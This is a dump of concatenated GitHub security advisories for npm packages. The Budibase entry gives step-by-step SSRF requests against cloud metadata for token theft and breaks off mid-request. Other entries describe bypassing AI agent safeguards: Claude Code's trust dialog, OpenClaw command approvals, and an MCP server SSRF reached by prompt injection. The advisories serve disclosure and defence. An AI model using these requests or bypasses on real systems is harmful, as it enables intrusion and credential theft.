deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-xrgv-34cc-q765
Package: openclaw (NPM)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 2026.2.22
Patched in: unpatched

Summary: Duplicate Advisory: OpenClaw's system.run allowlist bypass via shell line-continuation command substitution

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-9868-vxmx-w862. This link is maintained to preserve external references.

## Original Description
OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in system.run that allows attackers to execute non-allowlisted commands by splitting command substitution using shell line-continuation characters. Attackers can bypass security analysis by injecting $\\ followed by a newline and opening parenthesis inside double quotes, causing the shell to fold the line continuation into executable command substitution that circumvents approval boundaries.
GitHub Security Advisory: GHSA-q86m-697p-h7fh
Package: openclaw (NPM)
Severity: MODERATE (CVSS 6.0)
CWE: CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Vulnerable versions: < 2026.3.1
Patched in: unpatched

Summary: Duplicate Advisory: OpenClaw: system.run approvals did not bind PATH-token executable identity, enabling post-approval executable rebind

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-q399-23r3-hfx4. This link is maintained to preserve external references.

## Original Description
OpenClaw versions prior to 2026.3.1 fail to pin executable identity for non-path-like argv[0] tokens in system.run approvals, allowing post-approval executable rebind attacks. Attackers can modify PATH resolution after approval to execute a different binary than the operator approved, enabling arbitrary command execution.
GitHub Security Advisory: GHSA-87r5-mp6g-5w5j
Package: jsonpath (NPM)
Severity: HIGH (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 1.2.1
Patched in: 1.3.0

Summary: jsonpath has Arbitrary Code Injection via Unsafe Evaluation of JSON Path Expressions

Details:
### Impact

**Arbitrary Code Injection (Remote Code Execution & XSS):**

A critical security vulnerability affects **all versions** of the `jsonpath` package. The library relies on the `static-eval` module to evaluate JSON Path expressions but fails to properly sanitize or sandbox the input.

This allows an attacker to inject arbitrary JavaScript code into the JSON Path expression. When the library evaluates this expression, the malicious code is executed.

* **Node.js Environments:** This leads to **Remote Code Execution (RCE)**, allowing an attacker to compromise the server.
* **Browser Environments:** This leads to **Cross-Site Scripting (XSS)**, allowing an attacker to hijack user sessions or exfiltrate data.

**Affected Methods:**

The vulnerability triggers when untrusted data is passed to any method that evaluates a path, including:

* `jsonpath.query`
* `jsonpath.nodes`
* `jsonpath.paths`
* `jsonpath.value`
* `jsonpath.parent`
* `jsonpath.apply`

### Patches

**No Patch Available:**

Currently, **all versions** of `jsonpath` are vulnerable. There is no known patched version of this package that resolves the issue while retaining the current architecture.

**Recommendation:**

Developers are strongly advised to **migrate to a secure alternative** (such as `jsonpath-plus` or similar libraries that do not use `eval`/`static-eval`) or strictly validate all JSON Path inputs against a known allowlist.

### Workarounds

* **Strict Input Validation:** Ensure that no user-supplied data is ever passed directly to `jsonpath` functions.
* **Sanitization:** If user input is unavoidable, implement a strict parser to reject any JSON Path expressions containing executable JavaScript syntax (e.g., parentheses `()`, script expressions `script:`, or function calls).

### Resources

* [CVE-2026-1615](https://nvd.nist.gov/vuln/detail/CVE-2026-1615)
* [Vulnerable Code in handlers.js](https://github.com/dchester/jsonpath/blob/c1dd8ec74034fb0375233abb5fdbec51ac317b4b/lib/handlers.js#L243)
* [Snyk Advisory (Java/WebJars)](https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-15141219)
* [Snyk Advisory (JS)](https://security.snyk.io/vuln/SNYK-JS-JSONPATH-13645034)
GitHub Security Advisory: GHSA-w3vx-52j6-9fjp
Package: @developer.notchatbot/webchat (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.5.0
Patched in: unpatched

Summary: NotChatbot WebChat has a stored cross-site scripting (XSS) vulnerability

Details:
A stored cross-site scripting (XSS) vulnerability exists in the NotChatbot WebChat widget thru 1.4.4. User-supplied input is not properly sanitized before being stored and rendered in the chat conversation history. This allows an attacker to inject arbitrary JavaScript code which is executed when the chat history is reloaded. The issue is reproducible across multiple independent implementations of the widget, indicating that the vulnerability resides in the product itself rather than in a specific website configuration.
GitHub Security Advisory: GHSA-mmgp-wc2j-qcv7
Package: @anthropic-ai/claude-code (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-807: Reliance on Untrusted Inputs in a Security Decision
Vulnerable versions: < 2.1.53
Patched in: 2.1.53

Summary: Claude Code has a Workspace Trust Dialog Bypass via Repo-Controlled Settings File

Details:
Claude Code resolved the permission mode from settings files, including the repo-controlled `.claude/settings.json`, before determining whether to display the workspace trust confirmation dialog. A malicious repository could set `permissions.defaultMode` to `bypassPermissions` in its committed `.claude/settings.json`, causing the trust dialog to be silently skipped on first open. This allowed a user to be placed into a permissive mode without seeing the trust confirmation prompt, making it easier for an attacker-controlled repository to gain tool execution without explicit user consent.

Users on standard Claude Code auto-update have received this fix already. Users performing manual updates are advised to update to the latest version.

Thank you to hackerone.com/cantina_xyz for reporting this issue.
GitHub Security Advisory: GHSA-4647-wpjq-hh7f
Package: budibase (NPM)
Severity: HIGH (CVSS 8.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 3.30.6
Patched in: unpatched

Summary: Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview

Details:
### Summary
The REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration.

### Details

The vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:

```
fields.path  →  RestClient.read({ path })  →  node-fetch(path)
```

No blocklist exists for:
- Loopback (`127.0.0.1`, `::1`)
- RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`)
- Link-local / cloud metadata (`169.254.x.x`)
- Internal Kubernetes DNS (`.svc.cluster.local`)

The `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and `fields.path` overrides it entirely.

### PoC

**Step 1 — Get session token**
```http
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json

{"username": "admin@example.com", "password": "password"}
```
Response sets `Cookie: budibase:auth=<JWT>`.

**Step 2 — Get a REST datasourceId**
```http
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=[CREDENTIAL_REDACTED]
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
```
Pick any `_id` where `"source": "REST"`.

Captured from this engagement:
- Token: `[CREDENTIAL_REDACTED]`
- App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b`
- REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5`

**Step 3 — Send SSRF request**

Change `fields.path` to any internal URL. Examples below.

**3a. Cloud metadata — GCP OAuth2 token**
```http
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJl
GitHub Security Advisory: GHSA-5hmj-jcgp-6hff
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 8.6.50
Patched in: 8.6.50

Summary: Parse Server leaks protected fields via LiveQuery afterEvent trigger

Details:
### Impact

When a `Parse.Cloud.afterLiveQueryEvent` trigger is registered for a class, the LiveQuery server leaks protected fields and `authData` to all subscribers of that class. Fields configured as protected via Class-Level Permissions (`protectedFields`) are included in LiveQuery event payloads for all event types (create, update, delete, enter, leave).

Any user with sufficient CLP permissions to subscribe to the affected class can receive protected field data of other users, including sensitive personal information and OAuth tokens from third-party authentication providers.

### Patches

The vulnerability was caused by a reference detachment bug. When an `afterEvent` trigger is registered, the LiveQuery server converts the event object to a `Parse.Object` for the trigger, then creates a new JSON copy via `toJSONwithObjects()`. The sensitive data filter was applied to the `Parse.Object` reference, but the unfiltered JSON copy was sent to clients. The fix ensures that the JSON copy is assigned back to the response object before filtering, so the filter operates on the actual data sent to clients.

### Workarounds

Remove all `Parse.Cloud.afterLiveQueryEvent` trigger registrations. Without an `afterEvent` trigger, the reference detachment does not occur and protected fields are correctly filtered.
GitHub Security Advisory: GHSA-5hmj-jcgp-6hff
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 9.0.0, < 9.6.0-alpha.35
Patched in: 9.6.0-alpha.35

Summary: Parse Server leaks protected fields via LiveQuery afterEvent trigger

Details:
### Impact

When a `Parse.Cloud.afterLiveQueryEvent` trigger is registered for a class, the LiveQuery server leaks protected fields and `authData` to all subscribers of that class. Fields configured as protected via Class-Level Permissions (`protectedFields`) are included in LiveQuery event payloads for all event types (create, update, delete, enter, leave).

Any user with sufficient CLP permissions to subscribe to the affected class can receive protected field data of other users, including sensitive personal information and OAuth tokens from third-party authentication providers.

### Patches

The vulnerability was caused by a reference detachment bug. When an `afterEvent` trigger is registered, the LiveQuery server converts the event object to a `Parse.Object` for the trigger, then creates a new JSON copy via `toJSONwithObjects()`. The sensitive data filter was applied to the `Parse.Object` reference, but the unfiltered JSON copy was sent to clients. The fix ensures that the JSON copy is assigned back to the response object before filtering, so the filter operates on the actual data sent to clients.

### Workarounds

Remove all `Parse.Cloud.afterLiveQueryEvent` trigger registrations. Without an `afterEvent` trigger, the reference detachment does not occur and protected fields are correctly filtered.
GitHub Security Advisory: GHSA-677m-j7p3-52f9
Package: socket.io-parser (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-754: Improper Check for Unusual or Exceptional Conditions
Vulnerable versions: >= 4.0.0, < 4.2.6
Patched in: 4.2.6

Summary: socket.io allows an unbounded number of binary attachments

Details:
### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6`       |
| `>=3.4.0 <3.4.4` | `socket.io@2.x`                            | `3.4.4`       |
| `<3.3.5`         | `socket.io-client@2.x`                     | `3.3.5`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)
GitHub Security Advisory: GHSA-677m-j7p3-52f9
Package: socket.io-parser (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-754: Improper Check for Unusual or Exceptional Conditions
Vulnerable versions: >= 3.4.0, < 3.4.4
Patched in: 3.4.4

Summary: socket.io allows an unbounded number of binary attachments

Details:
### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6`       |
| `>=3.4.0 <3.4.4` | `socket.io@2.x`                            | `3.4.4`       |
| `<3.3.5`         | `socket.io-client@2.x`                     | `3.3.5`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)
GitHub Security Advisory: GHSA-677m-j7p3-52f9
Package: socket.io-parser (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-754: Improper Check for Unusual or Exceptional Conditions
Vulnerable versions: < 3.3.5
Patched in: 3.3.5

Summary: socket.io allows an unbounded number of binary attachments

Details:
### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6`       |
| `>=3.4.0 <3.4.4` | `socket.io@2.x`                            | `3.4.4`       |
| `<3.3.5`         | `socket.io-client@2.x`                     | `3.3.5`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)
GitHub Security Advisory: GHSA-26f5-8h2x-34xh
Package: h3 (NPM)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-208: Observable Timing Discrepancy
Vulnerable versions: >= 2.0.0-beta.0, <= 2.0.0-rc.8
Patched in: 2.0.1-rc.9

Summary: h3 has an observable timing discrepancy in basic auth utils

Details:
### Summary
A Timing Side-Channel vulnerability exists in the `requireBasicAuth` function due to the use of unsafe string comparison (`!==`). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.

### Details
The vulnerability is located in the `requireBasicAuth` function. The code performs a standard string comparison between the user-provided password and the expected password:

~~~typescript
if (opts.password && password !== opts.password) {
  throw autheFailed(event, opts?.realm);
}
~~~

In V8 (and most runtime environments), the `!==` operator is optimized to "fail fast." It stops execution and returns `false` as soon as it encounters the first mismatched byte.
* If the first character is wrong, it returns immediately.
* If the first character is correct but the second is wrong, it takes slightly longer.

By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.

### PoC
This vulnerability is exploitable in real-world scenarios without direct access to the server machine.

To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:
1.  **Packet A:** Contains a password that is known to be incorrect starting at the first character (e.g., `AAAA...`).
2.  **Packet B:** Contains a password where the first character is a guess (e.g., `B...`).

By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.

### Impact

This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).
GitHub Security Advisory: GHSA-3xm7-qw7j-qc8v
Package: @aborruso/ckan-mcp-server (NPM)
Severity: MODERATE (CVSS 5.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 0.4.85
Patched in: 0.4.85

Summary: SSRF in @aborruso/ckan-mcp-server via base_url allows access to internal networks

Details:
## Summary

The `@aborruso/ckan-mcp-server` MCP server provides tools including `ckan_package_search` and `sparql_query` that accept a `base_url` parameter, making HTTP requests to arbitrary endpoints without restriction. A CKAN portal client has no legitimate reason to contact cloud metadata or internal network services.

## Severity

Attack complexity is HIGH because exploitation requires prompt injection via malicious content (webpage, document) while the victim's AI assistant has this MCP server connected.

## Proof of Concept

Tested inside Docker-in-Docker isolated environment with canary HTTP sidecar.

```json
{"tool": "ckan_package_search", "arguments": {"base_url": "http://canary:8080/ssrf", "query": "test"}}
```
**Result**: Canary received **9 HTTP requests**. The high request volume confirms no rate limiting or URL validation.

## Root Cause

No URL validation on `base_url` parameter. No private IP blocking (RFC 1918, link-local 169.254.x.x), no cloud metadata blocking. The `sparql_query` and `ckan_datastore_search_sql` tools also accept arbitrary base URLs and expose injection surfaces.

## Impact

Internal network scanning, cloud metadata theft (IAM credentials via IMDS at 169.254.169.254), potential SQL/SPARQL injection via unsanitized query parameters. Attack requires prompt injection to control the `base_url` parameter.

## Recommended Fix

1. Validate `base_url` against a configurable allowlist of permitted CKAN portals
2. Block private IP ranges (RFC 1918, link-local)
3. Block cloud metadata endpoints (169.254.169.254)
4. Sanitize SQL input for datastore queries
5. SPARQL endpoint allowlist

## Credit

Discovered by [Andrei Boldyrev](https://github.com/abcgco) of Munio Security Research using [munio](https://munio.dev)
GitHub Security Advisory: GHSA-v6c2-xwv6-8xf7
Package: music-metadata (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: <= 11.12.1
Patched in: 11.12.3

Summary: music-metadata has an infinite loop vulnerability in ASF parser

Details:
# Summary

music-metadata's ASF parser (`parseExtensionObject()` in `lib/asf/AsfParser.ts:112-158`) enters an infinite loop when a sub-object inside the ASF Header Extension Object has `objectSize = 0`.

## Root Cause

When objectSize is 0:
1. `remaining = 0 - 24 = -24`
2. `tokenizer.ignore(-24)` moves the read position backward by 24 bytes
3. `extensionSize -= 0` (loop counter never decreases)
4. `while (extensionSize > 0)` never exits
5. The same 24-byte header is re-read infinitely

This is the same pattern as CVE-2026-31808 (GHSA-5v7r-6r5c-r473) in file-type — strtok3's `AbstractTokenizer.ignore()` accepts negative values without validation.

## Affected Methods
- `parseFile()` — HANGS (FileTokenizer inherits vulnerable ignore())
- `parseBuffer()` — HANGS (BufferTokenizer inherits vulnerable ignore())
- `parseStream()` — NOT affected (ReadStreamTokenizer has own ignore() that throws RangeError)

## Impact
A 100-byte crafted .asf file permanently hangs any application using parseFile() or parseBuffer(). music-metadata has 2.2M weekly npm downloads.

## Suggested Fix
Validate `objectSize >= minimumHeaderSize` before calculating the payload. Or fix strtok3's `AbstractTokenizer.ignore()` to reject negative values.
GitHub Security Advisory: GHSA-wjqw-r9x4-j59v
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: < 8.6.49
Patched in: 8.6.49

Summary: Parse Server affected by empty authData bypassing credential requirement on signup

Details:
### Impact

A user can sign up without providing credentials by sending an empty `authData` object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled.

### Patches

The fix ensures that empty or non-actionable `authData` is treated the same as absent `authData` for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present.

### Workarounds

Use a Cloud Code `beforeSave` trigger on the `_User` class to reject signups where `authData` is empty and no username/password is provided.
GitHub Security Advisory: GHSA-wjqw-r9x4-j59v
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-287: Improper Authentication
Vulnerable versions: >= 9.0.0, < 9.6.0-alpha.29
Patched in: 9.6.0-alpha.29

Summary: Parse Server affected by empty authData bypassing credential requirement on signup

Details:
### Impact

A user can sign up without providing credentials by sending an empty `authData` object, bypassing the username and password requirement. This allows the creation of authenticated sessions without proper credentials, even when anonymous users are disabled.

### Patches

The fix ensures that empty or non-actionable `authData` is treated the same as absent `authData` for the purpose of credential validation on new user creation. Username and password are now required when no valid auth provider data is present.

### Workarounds

Use a Cloud Code `beforeSave` trigger on the `_User` class to reject signups where `authData` is empty and no username/password is provided.